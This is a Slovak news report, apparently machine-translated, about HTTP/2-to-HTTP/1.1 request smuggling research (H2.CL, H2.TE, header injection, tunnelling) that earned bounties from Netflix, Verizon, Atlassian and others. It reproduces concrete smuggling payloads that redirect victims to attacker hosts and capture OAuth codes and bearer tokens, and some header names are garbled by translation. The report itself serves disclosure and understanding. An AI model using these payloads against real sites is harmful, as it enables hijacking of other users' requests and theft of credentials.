Nový útok na front-end-backend systémy, ktorý vám umožňuje vkliniť sa do požiadaviek

Webové systémy, v ktorých frontend prijíma pripojenia cez HTTP/2 a prenáša ich do backendu cez HTTP/1.1, boli vystavené novému variantu útoku „HTTP Request Smuggling“, ktorý umožňuje odosielaním špeciálne navrhnutých požiadaviek klientov vkliniť do obsahu požiadaviek od iných používateľov spracovaných v rovnakom toku medzi frontendom a backendom. Útok možno použiť na vloženie škodlivého kódu JavaScript do relácie s legitímnou webovou stránkou, obídenie systémov obmedzenia prístupu a zachytenie parametrov autentifikácie.

Problém ovplyvňuje webové servery proxy, nástroje na vyrovnávanie záťaže, webové akcelerátory, systémy na doručovanie obsahu a ďalšie konfigurácie, v ktorých sú požiadavky presmerované spôsobom typu front-end-backend. Autor štúdie demonštroval možnosť útoku na systémy Netflix, Verizon, Bitbucket, Netlify CDN a Atlassian a získal 56-tisíc dolárov v programoch odmeňovania za identifikáciu zraniteľností. Problém sa potvrdil aj v produktoch F5 Networks. Problém čiastočne ovplyvňuje mod_proxy na Apache http serveri (CVE-2021-33193), oprava sa očakáva vo verzii 2.4.49 (vývojári boli na problém upozornení začiatkom mája a dostali 3 mesiace na jeho odstránenie). V nginx bola v poslednom vydaní (1.21.1) zablokovaná možnosť súčasne špecifikovať hlavičky „Content-Length“ a „Transfer-Encoding“. Útočné nástroje sú už zahrnuté v súprave nástrojov Burp a sú dostupné vo forme rozšírenia Turbo Intruder.

Princíp fungovania novej metódy vklinenia požiadaviek do prevádzky je podobný zraniteľnosti, ktorú identifikoval ten istý výskumník pred dvoma rokmi, ale obmedzuje sa na frontendy, ktoré prijímajú požiadavky cez HTTP/1.1. Pripomeňme, že v schéme frontend-backend sú požiadavky klientov prijímané dodatočným uzlom – frontendom, ktorý nadväzuje dlhodobé TCP spojenie s backendom, ktorý priamo spracováva požiadavky. Prostredníctvom tohto spoločného spojenia sa zvyčajne prenášajú požiadavky od rôznych používateľov, ktoré sledujú reťazec za sebou oddelene pomocou protokolu HTTP.

Klasický útok „HTTP Request Smuggling“ bol založený na skutočnosti, že frontendy a backendy interpretujú použitie HTTP hlavičiek „Content-Length“ (určuje celkovú veľkosť údajov v požiadavke) a „Transfer-Encoding: chunked“ (umožňuje údaje, ktoré sa majú preniesť po častiach) inak. . Ak napríklad frontend podporuje iba „Content-Length“, ale ignoruje „Transfer-Encoding: chunked“, útočník by mohol poslať požiadavku, ktorá obsahuje hlavičky „Content-Length“ aj „Transfer-Encoding: chunked“, ale veľkosť je "Obsah-Dĺžka" nezodpovedá veľkosti trhanej reťaze. V tomto prípade frontend spracuje a presmeruje požiadavku v súlade s „Dĺžkou obsahu“ a backend počká na dokončenie bloku na základe „Transfer-Encoding: chunked“ a zostávajúca časť požiadavky útočníka bude byť na začiatku ďalšej odoslanej žiadosti niekoho iného.

Na rozdiel od textového protokolu HTTP/1.1, ktorý je analyzovaný na úrovni linky, HTTP/2 je binárny protokol a manipuluje s dátovými blokmi vopred špecifikovanej veľkosti. HTTP/2 však používa pseudohlavičky, ktoré zodpovedajú bežným HTTP hlavičkám. V prípade interakcie s backendom cez protokol HTTP/1.1 frontend prekladá tieto pseudohlavičky na podobné HTTP hlavičky HTTP/1.1. Problém je v tom, že backend robí rozhodnutia o analýze streamu na základe HTTP hlavičiek nastavených frontendom bez toho, aby mal informácie o parametroch pôvodnej požiadavky.

Najmä hodnoty „content-length“ a „transfer-encoding“ sa môžu prenášať vo forme pseudohlavičiek, napriek tomu, že sa nepoužívajú v HTTP/2, pretože veľkosť všetkých údajov je určená v samostatnom poli. Počas procesu konverzie HTTP/2 požiadavky na HTTP/1.1 sa však tieto hlavičky prenesú a môžu zmiasť backend. Existujú dva hlavné varianty útoku: H2.TE a H2.CL, v ktorých je backend zavádzaný nesprávnym kódovaním prenosu alebo hodnotou dĺžky obsahu, ktorá nezodpovedá skutočnej veľkosti tela požiadavky prijatej frontendom cez HTTP/2 protokol.

Nový útok na front-end-backend systémy, ktorý vám umožňuje vkliniť sa do požiadaviek

Príkladom útoku H2.CL je zadanie nesprávnej veľkosti v pseudohlavičke dĺžky obsahu pri odosielaní požiadavky HTTP/2 na Netflix. Táto požiadavka vedie k pridaniu podobnej hlavičky HTTP Content-Length pri prístupe k backendu cez HTTP/1.1, ale keďže veľkosť v Content-Length je špecifikovaná menej ako skutočná, časť údajov na konci sa spracuje ako začiatok ďalšej žiadosti.

Napríklad vyžiadajte HTTP/2 :method POST :cesta /n :autorita www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Výsledkom bude odoslanie požiadavky na backend: POST /n HTTP/1.1 Hostiteľ: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Keďže Content-Length má hodnotu 4, backend bude akceptovať iba „abcd“ ako telo požiadavky a zvyšok „GET /n HTTP/1.1...“ bude spracovaný ako začiatok nasledujúcej požiadavky. spojené s iným používateľom. V súlade s tým sa tok desynchronizuje a ako odpoveď na ďalšiu požiadavku bude vydaný výsledok spracovania fiktívnej požiadavky. V prípade Netflixu viedlo zadanie hostiteľa tretej strany do hlavičky „Host:“ v fiktívnej žiadosti k tomu, že klient vrátil odpoveď „Umiestnenie: https://02.rs?x.netflix.com/n“ a povolil odosielanie ľubovoľného obsahu klientovi vrátane Spustite svoj kód JavaScript v kontexte stránky Netflix.

Druhá možnosť útoku (H2.TE) zahŕňa nahradenie hlavičky „Transfer-Encoding: chunked“. Použitie pseudohlavičky prenosového kódovania v HTTP/2 špecifikácia zakazuje a požiadavky s ňou sú predpísané, aby sa považovali za nesprávne. Napriek tomu niektoré implementácie frontendu túto požiadavku neberú do úvahy a umožňujú použitie pseudohlavičky kódovania prenosu v HTTP/2, ktorá je konvertovaná na podobnú HTTP hlavičku. Ak existuje hlavička „Transfer-Encoding“, backend ju môže brať ako vyššiu prioritu a analyzovať údaje kúsok po kúsku v režime „chunked“ pomocou blokov rôznych veľkostí vo formáte „{size}\r\n{block }\r\n{veľkosť} \r\n{blok}\r\n0“, napriek počiatočnému rozdeleniu podľa celkovej veľkosti.

Prítomnosť takejto medzery bola preukázaná príkladom spoločnosti Verizon. Problém sa týkal autentifikačného portálu a redakčného systému, ktorý sa používa aj na stránkach ako Huffington Post a Engadget. Napríklad požiadavka klienta cez HTTP/2: :method POST :cesta /identitfy/XUI :authority id.b2b.oath.com kódovanie prenosu blokované 0 GET /oops HTTP/1.1 Hostiteľ: psres.net Content-Length: 10 x=

Výsledkom bolo odoslanie požiadavky HTTP/1.1 na koncový server: POST /identity/XUI HTTP/1.1 Hostiteľ: id.b2b.oath.com Dĺžka obsahu: 66 Kódovanie prenosu: blokované 0 GET /oops HTTP/1.1 Hostiteľ: psres. čistý obsah- Dĺžka: 10x=

Backend zas ignoroval hlavičku „Content-Length“ a vykonal in-stream rozdelenie na základe „Transfer-Encoding: chunked“. V praxi útok umožnil presmerovať požiadavky používateľov na ich webovú stránku vrátane zachytenia požiadaviek súvisiacich s autentifikáciou OAuth, ktorých parametre sa zobrazovali v hlavičke Referer, ako aj simulovať autentifikačnú reláciu a spustiť systém používateľa na odoslanie prihlasovacích údajov. hostiteľovi útočníka. GET /b2blanding/show/oops HTTP/1.1 Hostiteľ: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Hostiteľ: psres.net Autorizácia: Bearer eyJhcGwiOiJIUzI1Gi1Ik…6cCI

Na napadnutie implementácií HTTP/2, ktoré neumožňujú špecifikovať pseudohlavičku kódovania prenosu, bola navrhnutá iná metóda, ktorá zahŕňa nahradenie hlavičky „Kódovanie prenosu“ jej pripojením k iným pseudohlavičkám oddeleným znakom nového riadku ( pri konverzii na HTTP/1.1 v tomto prípade vytvorí dve samostatné hlavičky HTTP).

Tento problém postihol napríklad Atlassian Jira a Netlify CDN (používané na zobrazovanie úvodnej stránky Mozilly vo Firefoxe). Konkrétne požiadavka HTTP/2 :metóda POST :cesta / :autorita start.mozilla.org foo b\r\n kódovanie prenosu: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Hostiteľ : evil-netlify-domain\r\n Obsah-Dĺžka: 5\r\n \r\nx=

viedlo k odoslaniu požiadavky HTTP/1.1 POST / HTTP/1.1 na backend\r\n Hostiteľ: start.mozilla.org\r\n Foo: b\r\n Kódovanie prenosu: kusové\r\n Dĺžka obsahu : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Hostiteľ: evil-netlify-domain\r\n Obsah-Dĺžka: 5\r\n \r \nx=

Ďalšou možnosťou nahradenia hlavičky „Transfer-Encoding“ bolo jej pripojenie k názvu inej pseudohlavičky alebo k riadku s metódou požiadavky. Napríklad pri prístupe k Atlassian Jira názov pseudohlavičky „foo:bar\r\ntransfer-encoding“ s hodnotou „chunked“ spôsobil pridanie hlavičiek HTTP „foo:bar“ a „transfer-encoding: chunked“. a špecifikujúca hodnota ":method" pseudohlavičky "GET / HTTP/1.1\r\nTransfer-encoding: chunked" bola preložená do "GET / HTTP/1.1\r\ntransfer-encoding: chunked".

Výskumník, ktorý problém identifikoval, tiež navrhol techniku ​​tunelovania požiadaviek na útok na frontendy, v ktorej každá IP adresa vytvára samostatné pripojenie k backendu a prevádzka od rôznych používateľov nie je zmiešaná. Navrhovaná technika neumožňuje zasahovať do požiadaviek iných používateľov, ale umožňuje otráviť zdieľanú vyrovnávaciu pamäť, ktorá ovplyvňuje spracovanie iných požiadaviek, a umožňuje nahradenie interných hlavičiek HTTP používaných na prenos informácií o službách z frontendu do backendu ( napríklad pri autentifikácii na strane frontendu v Takéto hlavičky môžu prenášať informácie o aktuálnom používateľovi do backendu). Ako príklad aplikovania metódy v praxi, pomocou cache poisoningu, bolo možné získať kontrolu nad stránkami v službe Bitbucket.

Zdroj: opennet.ru

Pridať komentár